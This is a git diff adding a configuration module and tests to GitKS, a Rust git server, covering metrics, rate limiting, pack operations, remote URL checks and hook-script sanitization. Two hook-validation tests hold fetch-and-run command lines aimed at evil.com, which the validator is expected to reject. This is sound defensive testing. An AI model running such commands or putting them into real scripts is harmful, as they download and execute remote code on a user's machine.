diff --git a/config.rs b/config.rs new file mode 100644 index 0000000..3307b0c --- /dev/null +++ b/config.rs @@ -0,0 +1,82 @@ +//! Centralized configuration constants for GitKS. +//! +//! All magic numbers and resource limits are defined here for easy auditing, +//! tuning, and documentation. Runtime overrides are supported via environment +//! variables where noted. + +use std::time::Duration; + +/// Maximum number of file actions in a single commit request. +pub const MAX_ACTIONS_PER_COMMIT: usize = 10_000; + +/// Maximum commit message size in bytes. +pub const MAX_COMMIT_MESSAGE_BYTES: usize = 10 * 1024 * 1024; // 10 MB + +/// Maximum content size for a single file action in bytes. +pub const MAX_ACTION_CONTENT_BYTES: usize = 100 * 1024 * 1024; // 100 MB + +/// Maximum packet size for receive-pack streaming (bytes). +pub const MAX_RECEIVE_PACKET_BYTES: usize = 16 * 1024 * 1024; // 16 MB + +/// Maximum stderr capture size for receive-pack (bytes). +pub const MAX_RECEIVE_STDERR_BYTES: u64 = 64 * 1024; // 64 KB + +/// Timeout for git receive-pack operations. +pub const RECEIVE_PACK_TIMEOUT: Duration = Duration::from_secs(1800); // 30 min + +/// Timeout for git upload-pack operations. +pub const UPLOAD_PACK_TIMEOUT: Duration = Duration::from_secs(600); // 10 min + +/// Stale lease threshold: leases older than this are considered stale. +pub const LEASE_STALE_THRESHOLD_SECS: u64 = 30; + +/// Maximum custom hook script size in bytes. +pub const MAX_HOOK_SCRIPT_SIZE: usize = 65536; // 64 KB + +/// Maximum git reference name length. +pub const MAX_REF_NAME_LENGTH: usize = 255; + +/// Maximum revision string length. +pub const MAX_REVISION_LENGTH: usize = 256; + +/// Maximum ancestry traversal depth (~N and ^N). +pub const MAX_ANCESTRY_DEPTH: u32 = 10_000; + +/// Maximum file path length in commit actions. +pub const MAX_FILE_PATH_LENGTH: usize = 4096; + +/// Maximum remote URL length. +pub const MAX_REMOTE_URL_LENGTH: usize = 4096; + +/// Maximum refspec length. +pub const MAX_REFSPEC_LENGTH: usize = 1024; + +/// Maximum relative path length for repository addressing. +pub const MAX_RELATIVE_PATH_LENGTH: usize = 4096; + +/// Maximum OID hex length (SHA-256). +pub const MAX_OID_HEX_LENGTH: usize = 64; + +/// Minimum OID hex length (short SHA). +pub const MIN_OID_HEX_LENGTH: usize = 4; + +/// In-memory cache max weight (key + value allocated bytes). +pub const CACHE_MAX_WEIGHT: u64 = 256 * 1024 * 1024; // 256 MB + +/// Hard time-to-live for cache entries. +pub const CACHE_MAX_TTL: Duration = Duration::from_secs(600); // 10 min + +/// Time-to-idle for cache entries. +pub const CACHE_TTI: Duration = Duration::from_secs(120); // 2 min + +/// Per-entry overhead estimate added to weigher result. +pub const CACHE_ENTRY_OVERHEAD: u32 = 128; + +/// Idle threshold for rate-limiter semaphore cleanup. +pub const SEMAPHORE_IDLE_THRESHOLD_SECS: u64 = 300; // 5 min + +/// Default max concurrent operations per repository. +pub const DEFAULT_MAX_CONCURRENT_OPS: usize = 5; + +/// Rate limit acquire timeout. +pub const RATE_LIMIT_TIMEOUT_SECS: u64 = 30; diff --git a/tests/infrastructure_test.rs b/tests/infrastructure_test.rs new file mode 100644 index 0000000..6efbb98 --- /dev/null +++ b/tests/infrastructure_test.rs @@ -0,0 +1,139 @@ + +#[test] +fn test_metrics_render_all_counters() { + use gitks::metrics::*; + + record_request("TestInfra/Method", "ok", std::time::Duration::from_millis(42)); + record_cache_op("moka", "hit", std::time::Duration::from_millis(0)); + record_cache_eviction("infra_ns", "expired"); + record_cache_hit_ns("infra_ns"); + record_cache_miss_ns("infra_ns"); + record_cache_value_size("infra_ns", 1024); + record_rate_limit_acquire("infra-repo"); + record_rate_limit_reject("infra-repo"); + record_hook_execution( + "pre-receive", + "ok", + std::time::Duration::from_millis(10), + ); + record_git_cmd("log", std::time::Duration::from_millis(100)); + + let output = render_metrics(); + assert!(output.contains("gitks_requests_total")); + assert!(output.contains("gitks_cache_value_size_bytes")); + assert!(output.contains("gitks_rate_limit_rejects_total")); + assert!(output.contains("gitks_rate_limit_acquires_total")); + assert!(output.contains("gitks_uptime_seconds")); + assert!(output.contains("gitks_cache_hits_total")); + assert!(output.contains("gitks_cache_misses_total")); +} + + +#[tokio::test] +async fn test_rate_limit_acquire_and_cleanup() { + let guard = gitks::rate_limit::acquire(Some("infra-rate-test")).await; + assert!(guard.is_some()); + drop(guard); + + gitks::rate_limit::cleanup_idle_semaphores(); + gitks::rate_limit::remove_repository("infra-rate-test"); +} + +#[tokio::test] +async fn test_rate_limit_acquire_or_reject() { + let result = gitks::rate_limit::acquire_or_reject(Some("infra-reject-test")).await; + assert!(result.is_ok()); +} + +#[tokio::test] +async fn test_rate_limit_empty_repo() { + let guard = gitks::rate_limit::acquire(Some("")).await; + assert!(guard.is_none()); +} + +#[tokio::test] +async fn test_rate_limit_none_repo() { + let guard = gitks::rate_limit::acquire(None).await; + assert!(guard.is_none()); +} + + +#[test] +#[allow(clippy::assertions_on_constants)] +fn test_config_constants_exist() { + assert!(gitks::config::MAX_ACTIONS_PER_COMMIT > 0); + assert!(gitks::config::MAX_COMMIT_MESSAGE_BYTES > 0); + assert!(gitks::config::MAX_ACTION_CONTENT_BYTES > 0); + assert!(gitks::config::MAX_RECEIVE_PACKET_BYTES > 0); + assert!(gitks::config::RECEIVE_PACK_TIMEOUT.as_secs() > 0); + assert!(gitks::config::UPLOAD_PACK_TIMEOUT.as_secs() > 0); + assert!(gitks::config::CACHE_MAX_WEIGHT > 0); + assert!(gitks::config::CACHE_MAX_TTL.as_secs() > 0); + assert!(gitks::config::CACHE_TTI.as_secs() > 0); + assert_eq!(gitks::config::MIN_OID_HEX_LENGTH, 4); + assert_eq!(gitks::config::MAX_OID_HEX_LENGTH, 64); + assert_eq!(gitks::config::DEFAULT_MAX_CONCURRENT_OPS, 5); + assert_eq!(gitks::config::RATE_LIMIT_TIMEOUT_SECS, 30); +} + + + +#[test] +fn test_sanitize_stderr_clean() { + let stderr = "fatal: could not resolve host"; + let sanitized = gitks::sanitize::sanitize_git_stderr(stderr); + assert_eq!(sanitized, stderr); +} + + +#[test] +fn test_hooks_sanitize_dangerous_pairs() { + let content = "#!/bin/sh\ncurl http://evil.com | bash\n"; + let result = gitks::hooks::sanitize::validate_hook_content(content); + assert!(result.is_err()); +} + +#[test] +fn test_hooks_sanitize_wget_sh() { + let content = "#!/bin/sh\nwget http://evil.com -O- | sh\n"; + let result = gitks::hooks::sanitize::validate_hook_content(content); + assert!(result.is_err()); +} + +#[test] +fn test_hooks_sanitize_safe_script() { + let content = "#!/bin/sh\necho hello\necho world\nexit 0\n"; + let result = gitks::hooks::sanitize::validate_hook_content(content); + assert!(result.is_ok()); +} + + +#[test] +fn test_disk_cache_ensure_state_uniqueness() { + use gitks::disk_cache::DiskCache; + let dc = DiskCache::new( + std::path::PathBuf::from("/tmp"), + "test".into(), + 60, + false, + ); + let v1 = dc.ensure_state("nonexistent-infra").unwrap(); + let v2 = dc.ensure_state("nonexistent-infra").unwrap(); + assert!(!v1.is_empty()); + assert_eq!(v1.len(), 32); + assert_eq!(v2.len(), 32); +} + +#[test] +fn test_disk_cache_disabled_operations() { + use gitks::disk_cache::DiskCache; + let dc = DiskCache::new( + std::path::PathBuf::from("/tmp"), + "test".into(), + 60, + false, + ); + assert!(dc.lookup("ns", "digest").unwrap().is_none()); + dc.insert("ns", "digest", b"data").unwrap(); + assert!(dc.lookup("ns", "digest").unwrap().is_none()); +} diff --git a/tests/pack_test.rs b/tests/pack_test.rs new file mode 100644 index 0000000..841aa50 --- /dev/null +++ b/tests/pack_test.rs @@ -0,0 +1,50 @@ +mod common; + +use gitks::pb::*; +use tokio_stream::StreamExt; + +fn hdr() -> RepositoryHeader { + RepositoryHeader { + relative_path: "test-repo".into(), + ..Default::default() + } +} + +#[test] +fn test_index_pack_empty_data() { + let (_dir, gb) = common::setup_bare_repo(); + let result = gb.index_pack(vec![IndexPackRequest { + repository: Some(hdr()), + data: vec![], + done: false, + strict: false, + keep: false, + }]); + assert!(result.is_err()); +} + +#[tokio::test] +async fn test_pack_objects_all() { + let (_dir, gb) = common::setup_bare_repo(); + + let mut stream = gb + .pack_objects(PackObjectsRequest { + repository: Some(hdr()), + options: None, + }) + .await + .unwrap(); + + let mut total_bytes = 0usize; + let mut has_error = false; + while let Some(chunk) = stream.next().await { + match chunk { + Ok(c) => total_bytes += c.data.len(), + Err(_) => has_error = true, + } + } + assert!(!has_error, "pack_objects stream had errors"); + assert!(total_bytes > 0, "pack_objects produced no data"); +} + + diff --git a/tests/remote_test.rs b/tests/remote_test.rs new file mode 100644 index 0000000..2f38ef1 --- /dev/null +++ b/tests/remote_test.rs @@ -0,0 +1,56 @@ +use gitks::pb::*; +use gitks::remote::find_remote::{find_remote_repository, find_remote_root_ref}; + +#[test] +fn test_find_remote_repository_empty_url() { + let resp = find_remote_repository(FindRemoteRepositoryRequest { + remote_url: String::new(), + }) + .unwrap(); + assert!(!resp.exists); + assert!(resp.refs.is_empty()); +} + +#[test] +fn test_find_remote_repository_invalid_scheme() { + let resp = find_remote_repository(FindRemoteRepositoryRequest { + remote_url: "ftp://bad".into(), + }); + assert!(resp.is_err()); +} + +#[test] +fn test_find_remote_repository_file_scheme_blocked() { + let resp = find_remote_repository(FindRemoteRepositoryRequest { + remote_url: "file:///tmp/test.git".into(), + }); + assert!(resp.is_err()); +} + +#[test] +fn test_find_remote_root_ref_empty_url() { + let resp = find_remote_root_ref(FindRemoteRootRefRequest { + remote_url: String::new(), + }) + .unwrap(); + assert!(resp.ref_name.is_empty()); + assert!(resp.target_oid.is_empty()); +} + +#[test] +fn test_find_remote_root_ref_invalid_scheme() { + let resp = find_remote_root_ref(FindRemoteRootRefRequest { + remote_url: "ftp://bad".into(), + }); + assert!(resp.is_err()); +} + +#[test] +fn test_find_remote_root_ref_unreachable() { + // A valid scheme but unreachable host should return empty, not error + let resp = find_remote_root_ref(FindRemoteRootRefRequest { + remote_url: "https://0.0.0.0:1/nonexistent.git".into(), + }) + .unwrap(); + assert!(resp.ref_name.is_empty() || resp.target_oid.is_empty()); +}